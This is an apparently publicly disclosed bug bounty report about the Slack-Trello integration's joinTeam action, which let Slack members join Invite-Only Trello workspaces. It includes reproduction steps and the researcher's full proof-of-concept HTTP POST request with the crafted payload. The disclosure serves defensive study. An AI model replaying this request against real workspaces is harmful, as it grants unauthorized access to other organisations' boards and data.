# Privilege Escalation Vulnerability: A Non-Workspace Member Can Self-Join other users Trello Workspace through Slack Integration even when Self-Join is diabled by Owner

Slack-Trello integration ignored the Invite-Only setting, letting any Slack workspace member self-join the linked Trello workspace via the joinTeam action.

- Payout: $1,200
- Severity: medium
- Program: Trello
- Found by: TechyCodec08
- Disclosed: 2025-06-10
- Write-up quality: 6/10
- Original: https://bugcrowd.com/disclosures/9f625aae-cc37-4b06-9552-d049c2a5c1b9/privilege-escalation-vulnerability-a-non-workspace-member-can-self-join-other-users-trello-workspace-through-slack-integration-even-when-self-join-is-diabled-by-owner
- Library page: https://bugbountylibrary.com/r/bc%3Afd6d6d3b-916c-4ad8-b355-3fa59a5f20be
- Tags: area:web domain:web impact:integrity impact:privesc kind:bounty platform:bugcrowd sev:medium tech:rest vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** Trello Slack integration join flow (chat.attachmentAction joinTeam)
**Root cause:** The Slack-Trello integration's joinTeam attachment action did not enforce the Trello workspace's Invite-Only membership setting, allowing any member of the linked Slack workspace to join.
**Steps:**
1. Owner links Slack workspace to Trello workspace (Premium) and sets invitation setting to Invite-Only.
2. Attacker is added to the Slack workspace but is not a Trello workspace member.
3. Attacker links their personal Trello account to Slack and opens the Trello integration messages.
4. Attacker clicks Join, or sends `POST /api/chat.attachmentAction` with `payload` containing `{"actions":[{"name":"joinTeam","value":"{\"idTrelloTeam\":\"<team_id>\"}"}]}` and the Slack Trello integration token.
5. Attacker becomes a member of the Trello workspace despite Invite-Only.
**How found:** Researcher noticed the Slack-Trello integration offered a join prompt and tested whether the Invite-Only restriction applied to the Slack-initiated join flow, finding it did not.
**Exploitation:** Attacker with a Slack account in the victim's Slack workspace links their own Trello account, then triggers the joinTeam attachment action (via UI or crafted multipart POST to Slack's chat.attachmentAction with the integration token) to add themselves to the linked Trello workspace, bypassing Invite-Only.
**Insight:** When a product exposes membership via a third-party integration (Slack app actions), test whether workspace-level join restrictions are enforced on the integration's own join endpoint, not just the native UI.

## Proof of concept (copied exactly from the original report)

**POST request joining Trello team via Slack attachmentAction**

```
POST /api/chat.attachmentAction?_x_id=fc861004-1742211576.857&_x_csid=wq8zj27AO3A&slack_route=T08JN1VL2NL&_x_version_ts=1742207255&_x_frontend_build_type=current&_x_desktop_ia=4&_x_gantry=true&fp=a3&_x_num_retries=0 HTTP/2
Host: techycodec.slack.com
Cookie: <SLACK_COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Length: 1577
Origin: https://app.slack.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Priority: u=0
Te: trailers

------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="token"

<SLACK_TRELLO_INTEGRATION_TOKEN>
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="payload"

{"actions":[{"id":"1","name":"joinTeam","text":"Join","type":"button","value":"{\"idTrelloTeam\":\"67bd3bb0a24f64da5ed76161\"}","style":""}],"attachment_id":"1","callback_id":"callback-joinTeam-ts:1742207561421","channel_id":"D08JNCJ1D08","message_ts":"1742207561.551579","prompt_app_install":false,"team_id":"T08JN1VL2NL"}
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="client_token"

web-1742211576856
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="service_id"

B08JN2FP49E
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="bot_user_id"

U08JN2FP7K2
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_reason"

user_attachment_action_dispatch
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_mode"

online
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_sonic"

true
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_app_name"

client
------geckoformboundaryab7a35356138da9abc9fd861d93191b6--
```

